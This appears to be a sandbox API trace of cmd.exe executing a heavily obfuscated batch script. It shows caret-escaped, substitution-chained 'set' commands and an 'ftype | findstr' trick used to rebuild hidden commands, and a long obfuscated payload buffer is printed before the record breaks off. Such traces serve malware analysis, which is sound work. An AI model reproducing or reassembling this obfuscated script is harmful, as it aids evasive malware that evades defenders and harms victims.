	[0056.134] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="TIME") returned -15
	[0056.134] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="RANDOM") returned -13
	[0056.134] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="HIGHESTNUMANODENUMBER") returned -3
	[0056.134] GetEnvironmentVariableW (in: lpName="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.134] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="CD") returned -5
	[0056.135] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="ERRORLEVEL") returned -7
	[0056.135] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="CMDEXTVERSION") returned -5
	[0056.135] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="CMDCMDLINE") returned -5
	[0056.135] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="DATE") returned -6
	[0056.135] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="TIME") returned -22
	[0056.135] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="RANDOM") returned -20
	[0056.135] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.135] GetEnvironmentVariableW (in: lpName="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.135] _wcsicmp (_String1="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="CD") returned -5
	[0056.135] _wcsicmp (_String1="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="ERRORLEVEL") returned -7
	[0056.135] _wcsicmp (_String1="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="CMDEXTVERSION") returned -5
	[0056.135] _wcsicmp (_String1="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="CMDCMDLINE") returned -5
	[0056.135] _wcsicmp (_String1="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="DATE") returned -6
	[0056.135] _wcsicmp (_String1="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="TIME") returned -22
	[0056.135] _wcsicmp (_String1="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="RANDOM") returned -20
	[0056.135] _wcsicmp (_String1="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.135] GetEnvironmentVariableW (in: lpName="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.135] _wcsicmp (_String1="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="CD") returned -5
	[0056.135] _wcsicmp (_String1="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="ERRORLEVEL") returned -7
	[0056.135] _wcsicmp (_String1="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="CMDEXTVERSION") returned -5
	[0056.135] _wcsicmp (_String1="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="CMDCMDLINE") returned -5
	[0056.135] _wcsicmp (_String1="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="DATE") returned -6
	[0056.136] _wcsicmp (_String1="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="TIME") returned -22
	[0056.136] _wcsicmp (_String1="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="RANDOM") returned -20
	[0056.136] _wcsicmp (_String1="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.136] GetEnvironmentVariableW (in: lpName="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.136] _wcsicmp (_String1="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", _String2="CD") returned -5
	[0056.136] _wcsicmp (_String1="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", _String2="ERRORLEVEL") returned -7
	[0056.136] _wcsicmp (_String1="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", _String2="CMDEXTVERSION") returned -5
	[0056.136] _wcsicmp (_String1="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", _String2="CMDCMDLINE") returned -5
	[0056.136] _wcsicmp (_String1="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", _String2="DATE") returned -6
	[0056.136] _wcsicmp (_String1="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", _String2="TIME") returned -22
	[0056.136] _wcsicmp (_String1="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", _String2="RANDOM") returned -20
	[0056.136] _wcsicmp (_String1="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.136] GetEnvironmentVariableW (in: lpName="^*^[^-^,", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.136] _wcsicmp (_String1="^*^[^-^,", _String2="CD") returned -5
	[0056.136] _wcsicmp (_String1="^*^[^-^,", _String2="ERRORLEVEL") returned -7
	[0056.136] _wcsicmp (_String1="^*^[^-^,", _String2="CMDEXTVERSION") returned -5
	[0056.136] _wcsicmp (_String1="^*^[^-^,", _String2="CMDCMDLINE") returned -5
	[0056.136] _wcsicmp (_String1="^*^[^-^,", _String2="DATE") returned -6
	[0056.136] _wcsicmp (_String1="^*^[^-^,", _String2="TIME") returned -22
	[0056.136] _wcsicmp (_String1="^*^[^-^,", _String2="RANDOM") returned -20
	[0056.136] _wcsicmp (_String1="^*^[^-^,", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.137] GetEnvironmentVariableW (in: lpName="   |", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.137] _wcsicmp (_String1="   |", _String2="CD") returned -67
	[0056.137] _wcsicmp (_String1="   |", _String2="ERRORLEVEL") returned -69
	[0056.137] _wcsicmp (_String1="   |", _String2="CMDEXTVERSION") returned -67
	[0056.137] _wcsicmp (_String1="   |", _String2="CMDCMDLINE") returned -67
	[0056.137] _wcsicmp (_String1="   |", _String2="DATE") returned -68
	[0056.137] _wcsicmp (_String1="   |", _String2="TIME") returned -84
	[0056.137] _wcsicmp (_String1="   |", _String2="RANDOM") returned -82
	[0056.137] _wcsicmp (_String1="   |", _String2="HIGHESTNUMANODENUMBER") returned -72
	[0056.137] _wcsicmp (_String1="For", _String2=")") returned 61
	[0056.137] _wcsicmp (_String1="FOR", _String2="For") returned 0
	[0056.137] _wcsicmp (_String1="FOR/?", _String2="For") returned 47
	[0056.138] _wcsicmp (_String1="/L", _String2="/f") returned 6
	[0056.138] _wcsicmp (_String1="/D", _String2="/f") returned -2
	[0056.138] _wcsicmp (_String1="/F", _String2="/f") returned 0
	[0056.139] _wcsicmp (_String1="/L", _String2="%1") returned 10
	[0056.139] _wcsicmp (_String1="/D", _String2="%1") returned 10
	[0056.139] _wcsicmp (_String1="/F", _String2="%1") returned 10
	[0056.139] _wcsicmp (_String1="/R", _String2="%1") returned 10
	[0056.140] _wcsicmp (_String1="IN", _String2="iN") returned 0
	[0056.143] _wcsicmp (_String1="DO", _String2="dO") returned 0
	[0056.143] _wcsicmp (_String1="%1", _String2=")") returned -4
	[0056.143] _wcsicmp (_String1="FOR", _String2="%1") returned 65
	[0056.143] _wcsicmp (_String1="FOR/?", _String2="%1") returned 65
	[0056.143] _wcsicmp (_String1="IF", _String2="%1") returned 68
	[0056.143] _wcsicmp (_String1="IF/?", _String2="%1") returned 68
	[0056.143] _wcsicmp (_String1="REM", _String2="%1") returned 77
	[0056.143] _wcsicmp (_String1="REM/?", _String2="%1") returned 77
	[0056.149] wcstol (in: _String="  +2 delims=FeH\"", _EndPtr=0x2afb30, _Radix=0 | out: _EndPtr=0x2afb30*=" delims=FeH\"") returned 2
	[0056.150] _wcsnicmp (_String1="delims=F", _String2="usebackq", _MaxCount=0x8) returned -17
	[0056.150] _wcsnicmp (_String1="delims=", _String2="useback", _MaxCount=0x7) returned -17
	[0056.150] _wcsnicmp (_String1="deli", _String2="eol=", _MaxCount=0x4) returned -1
	[0056.150] _wcsnicmp (_String1="delims=", _String2="delims=", _MaxCount=0x7) returned 0
	[0056.150] _wpopen (_Command=" ^f^t^Yp^e | ^f^IN^d \"SHCm\" ", _Mode="rb") returned 0x7feff632b10
	[0056.161] feof (_File=0x7feff632b10) returned 0
	[0056.161] ferror (_File=0x7feff632b10) returned 0
	[0056.161] fgets (in: _Buf=0x3efb90, _MaxCount=256, _File=0x7feff632b10 | out: _Buf="SHCmdFile=%SystemRoot%\\explorer.exe\r\n", _File=0x7feff632b10) returned="SHCmdFile=%SystemRoot%\\explorer.exe\r\n"
	[0056.848] feof (_File=0x7feff632b10) returned 0
	[0056.848] ferror (_File=0x7feff632b10) returned 0
	[0056.848] fgets (in: _Buf=0x3efeb5, _MaxCount=475, _File=0x7feff632b10 | out: _Buf="", _File=0x7feff632b10) returned 0x0
	[0056.888] _pclose (in: _File=0x7feff632b10 | out: _File=0x7feff632b10) returned 0
	[0056.889] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x3efeb5, cbMultiByte=37, lpWideCharStr=0x3efe90, cchWideChar=37 | out: lpWideCharStr="SHCmdFile=%SystemRoot%\\explorer.exe\r\n") returned 37
	[0056.892] _vsnwprintf (in: _Buffer=0x49e86340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2af7e8 | out: _Buffer="\r\n") returned 2
	[0056.892] _get_osfhandle (_FileHandle=1) returned 0x7
	[0056.892] GetFileType (hFile=0x7) returned 0x2
	[0056.892] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0056.892] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af778 | out: lpMode=0x2af778) returned 1
	[0056.893] _get_osfhandle (_FileHandle=1) returned 0x7
	[0056.893] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e86340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2af7b8, lpReserved=0x0 | out: lpBuffer=0x49e86340*, lpNumberOfCharsWritten=0x2af7b8*=0x2) returned 1
	[0056.893] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0056.893] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0056.893] _vsnwprintf (in: _Buffer=0x49e6eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2af7f8 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop") returned 25
	[0056.893] _vsnwprintf (in: _Buffer=0x49e6eb92, _BufferCount=0x3e5, _Format="%c", _ArgList=0x2af7f8 | out: _Buffer=">") returned 1
	[0056.893] _get_osfhandle (_FileHandle=1) returned 0x7
	[0056.893] GetFileType (hFile=0x7) returned 0x2
	[0056.893] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0056.893] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af7a8 | out: lpMode=0x2af7a8) returned 1
	[0056.893] _get_osfhandle (_FileHandle=1) returned 0x7
	[0056.893] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49e6eb60*, nNumberOfCharsToWrite=0x1a, lpNumberOfCharsWritten=0x2af7e8, lpReserved=0x0 | out: lpBuffer=0x49e6eb60*, lpNumberOfCharsWritten=0x2af7e8*=0x1a) returned 1
	[0056.894] _get_osfhandle (_FileHandle=1) returned 0x7
	[0056.894] GetFileType (hFile=0x7) returned 0x2
	[0056.894] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0056.894] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2afa88 | out: lpMode=0x2afa88) returned 1
	[0056.895] _get_osfhandle (_FileHandle=1) returned 0x7
	[0056.895] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x3f9a10*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x2afac8, lpReserved=0x0 | out: lpBuffer=0x3f9a10*, lpNumberOfCharsWritten=0x2afac8*=0x3) returned 1
	[0056.895] _vsnwprintf (in: _Buffer=0x49e86340, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x2afac8 | out: _Buffer=",  ;  ; ; pPuxarv/VCsv40blbkn   ,  cw8f/r \",  (   , ;  ,   ;  ,( ,  ;   , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!)   ; ; ;  ) )&&   ( ,  (,  (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ;  )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) ,   ) ,   )&( ,   , ,   (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) ,  )&& (   (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!),  )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!),   ,  ,  )&   ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&&  (   ,  ;  ,  ( , ; , ;   ,   (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!)  ,   ) , , )&&  (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&&   ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&&  ( , ; ,   ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!)   ,   ;  ,  ;  ,  )&  (   ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!)   ,  )   ,  ;, )&   ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ;  , )& ( ( ,  , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )&  (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( ,   ( ,   (^s^e^t  ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) )   , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ 